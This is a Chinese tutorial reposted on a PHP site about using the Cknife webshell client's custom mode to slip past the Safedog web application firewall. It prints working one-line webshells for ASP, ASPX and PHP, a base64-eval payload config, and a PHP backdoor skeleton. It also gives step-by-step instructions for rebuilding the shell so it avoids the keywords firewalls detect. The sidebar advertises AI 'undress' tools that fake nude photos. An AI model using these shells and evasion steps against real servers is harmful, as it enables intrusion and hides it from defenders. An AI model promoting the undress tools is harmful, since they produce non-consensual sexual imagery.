目录
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
相关阅读:
0×00 前言
0×01 两种方法
0×02 ReadMe.txt
使用说明:
Customize:  
过WAF:
0×03 自定义模式过WAF原理
0×04 过狗准备
首页 后端开发 php教程 打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

打狗棒法之:Cknife(C刀)自定义模式秒过安全狗

Jun 23, 2016 pm 01:13 PM

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

相关阅读:

跨平台版中国菜刀Cknife发布

Cknife,跨平台版中国菜刀正式开源

0×00 前言

很多朋友在使用Cknife时都误以为她只是菜刀的跨平台升级版,仅仅多了跨平台的功能,其实小伙伴们还没有用到精髓之处, 她其实也是一款过 WAF 的利器。 没有给大家讲解如何去使用它这是我的责任,我是一个有责任心的基佬,我会对大家负责的,于是有了下面的文章:

0×01 两种方法

Cknife有两种过WAF模式,一种为修改配置文件(Config.ini)过WAF,另外一种为 Customize( 自定义 ) 模式过 WAF 。 今天以自定义模式为例实例讲解秒过安全狗,当然文章发布过后各大WAF厂商肯定会将某些特征列入黑名单,这里只是抛砖引玉提供思路。

0×02 ReadMe.txt

很多朋友在使用软件的时候都很少会关注她,这里我附上它的有关于过 WAF 方面的一些内容,请大家 仔细阅读红色部分。

[此处省略1W字]

使用说明:

服务端脚本支持ASP、ASPX、PHP、JSP、Customize(自定义)。

代码包含且不限于如下代码(只要能构造出类似eval的函数就行,比如PHP的create_function、assert等)

ASP:

<%eval request("Cknife")%>
登录后复制

ASP.NET:

<%@ PageLanguage="Jscript"%><%eval(Request.Item["Cknife"],"unsafe");%>
登录后复制

PHP:

<?php @eval($_POST['Cknife']);?>
登录后复制

JSP:

[代码详见1.jsp]

Customize:

自定义类型,功能代码在服务端保存,理论上支持所有动态脚本,只要正确与C刀进行交互即可。此模式可按需定制,比如只要浏览目录,或是只要虚拟终端功能,代码可以很简短。

过WAF:

这是一款跨平台的基于配置文件的中国菜刀,把所有操作给予用户来定义,主程序只是图形的展示,以及数据的发送。

我分开了每一个步骤写入到配置文件里面,用户可以自定义任何代码,包括更改参数名称,参数内容。

比如:

 SKIN=javax.swing.plaf.nimbus.NimbusLookAndFeel设置皮肤为nimbusSPL=->|                                               表示截取数据的开始符号SPR=|<-                                               表示截取数据的结束符号CODE=code                                      编码参数ACTION=action                                      动作参数PARAM1=z1                                     参数1PARAM2=z2                                     参数2PHP_BASE64=1                                       当为PHP时,Z1,Z2参数是否开启自动base64加密,如果想定义自己的加密方式则关闭设置为0PHP_MAKE=@eval(base64_decode($_POST[action]));生成方式,这里可以不用该方式,可以用你任何想要的方式PHP_INDEX=...                                    显示主页功能的代码放这儿PHP_READDICT=...                                     读取主页功能的代码放这儿PHP_READFILE=...                                      读取文件功能的代码放这儿PHP_DELETE=...                                    删除文件夹以及文件功能的代码放这儿PHP_RENAME=...                                    重命名文件夹以及文件功能的代码放这儿PHP_NEWDICT=...                                    新建目录功能的代码放这儿PHP_UPLOAD=...                           上传文件功能的代码放这儿PHP_DOWNLOAD=...                                    下载文件功能的代码放这儿PHP_SHELL=...                                   虚拟终端功能的代码放这儿PHP_DB_MYSQL=...                                   管理MYSQL数据库功能的代码放这儿ASP_...=...ASPX_...=...JSP_...=...
登录后复制

除了修改以上参数过WAF外,程序还额外提供了一种Customize过WAF的模式。

Customize模式原本是用于支持一些程序默认不支持的脚本,比如CFM、ASMX、ASHX、PY等等,只要用户自写的脚本能正确与菜刀进行交互即可。

换一个思考方式,如果我们自写一个PHP脚本实现了列文件以及目录的功能,它能够正确的与C刀进行交互,这个时候如果我们选择PHP(Eval)的连接方式就会连接失败。

应该选择Customize模式进行连接。有人说为什么一句话就可以连接,你偏偏还要写这么多代码用Customize模式连接?如果一个很厉害的WAF检测eval,assert等关键词

,你的一句话实在是饶不过,这个时候你可以不用一句话,就在PHP脚本里用正常代码实现列文件以及目录,然后用Customize模式连接就达到了过WAF的目的。

Customize(自定义)模式跟其他模式一样,每一个步骤也都写入到配置文件里面,用户同样可以参数名称以及参数内容。

比如你自写了用Customize模式连接的Customize.php服务端。

显示主页功能提交的参数应该是:密码=1&action=index以及密码=1&action=readdict。

如果C刀普及以后WAF厂商肯定会把readdict列入黑名单,这个时候你就可以修改readdict的名称为其他名称,同样可以修改action的名称,也可以修改1为其他字符

CUS_MAKE=1CUS_INDEX=indexCUS_READDICT=readdictCUS_READFILE=readfileCUS_SAVEFILE=savefileCUS_DELETE=deleteCUS_RENAME=renameCUS_NEWDICT=newdictCUS_UPLOAD=uploadCUS_DOWNLOAD=downloadCUS_SHELL=shell[此处省略1W字]
登录后复制

0×03 自定义模式过WAF原理

如果只是使用一句话,很多厂商都查杀了eval等敏感关键词,也查杀了传递过程中数据包中的敏感关键词。我们只需要正常的实现列目录、读文件等功能并且没有包含eval等敏感关键词就可以绕过WAF, 即服务端不使用一句话,而是把功能代码都放在服务端来执行,客户端提交正常的数据包。

0×04 过狗准备

有的朋友说还要自己写列目录、读文件等等这些功能啊,那肯定没戏了。其实不需要自己写,只需要复制粘贴修改即可。

你要有点编程基础(不用担心只要会 if 语句就行),然后按照我给的框架添加就行。以 PHP 为例:

框架如下:

$pwd= 'Cknife';        // 密码

if($_POST [$pwd] == 1) {

$act = $_POST ['action'];         // action 名称

echo ("->|");    // 前分隔符

if ($act == 'index') {           // 显示主页功能

} else if ($act == 'readdict') {   // 读取目录功能

} else if ($act == …)          // 你想要实现的功能,可以从 Config.ini 里面解密出来使用

{

}

echo ("|

}

?>

首先打开咋们可爱的Config.ini文件,找到PHP_INDEX

它是C刀文件管理显示主页的功能,我们先把它解密,先url解密再base64解密

把解密结果放到eclipse里面,自动整理下(右键Source->Format)

去掉 echo (“->|”) 前面的所有代码,去掉 echo (“|

然后就是找到PHP_READDICT解密, 这里要 注意 解密出来 z1 参数前面有 base64_decode 函数,我们的 自定义模式下传递方式是原文传递 ,不会自动 base64 加密, 所以要去掉 base64_decode 函数

还是老规矩,去掉 echo (“->|”) 前面的所有代码,去掉 echo (“|

最后按照前面的方式再加入读取文件的功能,即PHP_READFILE

把代码保存为test.php,然后选用自定义模式连接

测试发现并没有拦截

我们尝试下一句话连接,发现会被拦截

本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
2 周前 By 尊渡假赌尊渡假赌尊渡假赌
仓库:如何复兴队友
4 周前 By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island冒险:如何获得巨型种子
3 周前 By 尊渡假赌尊渡假赌尊渡假赌

热工具

记事本++7.3.1

记事本++7.3.1

好用且免费的代码编辑器

SublimeText3汉化版

SublimeText3汉化版

中文版,非常好用

禅工作室 13.0.1

禅工作室 13.0.1

功能强大的PHP集成开发环境

Dreamweaver CS6

Dreamweaver CS6

视觉化网页开发工具

SublimeText3 Mac版

SublimeText3 Mac版

神级代码编辑软件(SublimeText3)

11个最佳PHP URL缩短脚本(免费和高级) 11个最佳PHP URL缩短脚本(免费和高级) Mar 03, 2025 am 10:49 AM

11个最佳PHP URL缩短脚本(免费和高级)

Instagram API简介 Instagram API简介 Mar 02, 2025 am 09:32 AM

Instagram API简介

在Laravel中使用Flash会话数据 在Laravel中使用Flash会话数据 Mar 12, 2025 pm 05:08 PM

在Laravel中使用Flash会话数据

构建具有Laravel后端的React应用程序:第2部分,React 构建具有Laravel后端的React应用程序:第2部分,React Mar 04, 2025 am 09:33 AM

构建具有Laravel后端的React应用程序:第2部分,React

简化的HTTP响应在Laravel测试中模拟了 简化的HTTP响应在Laravel测试中模拟了 Mar 12, 2025 pm 05:09 PM

简化的HTTP响应在Laravel测试中模拟了

php中的卷曲:如何在REST API中使用PHP卷曲扩展 php中的卷曲:如何在REST API中使用PHP卷曲扩展 Mar 14, 2025 am 11:42 AM

php中的卷曲:如何在REST API中使用PHP卷曲扩展

在Codecanyon上的12个最佳PHP聊天脚本 在Codecanyon上的12个最佳PHP聊天脚本 Mar 13, 2025 pm 12:08 PM

在Codecanyon上的12个最佳PHP聊天脚本

宣布 2025 年 PHP 形势调查 宣布 2025 年 PHP 形势调查 Mar 03, 2025 pm 04:20 PM

宣布 2025 年 PHP 形势调查

See all articles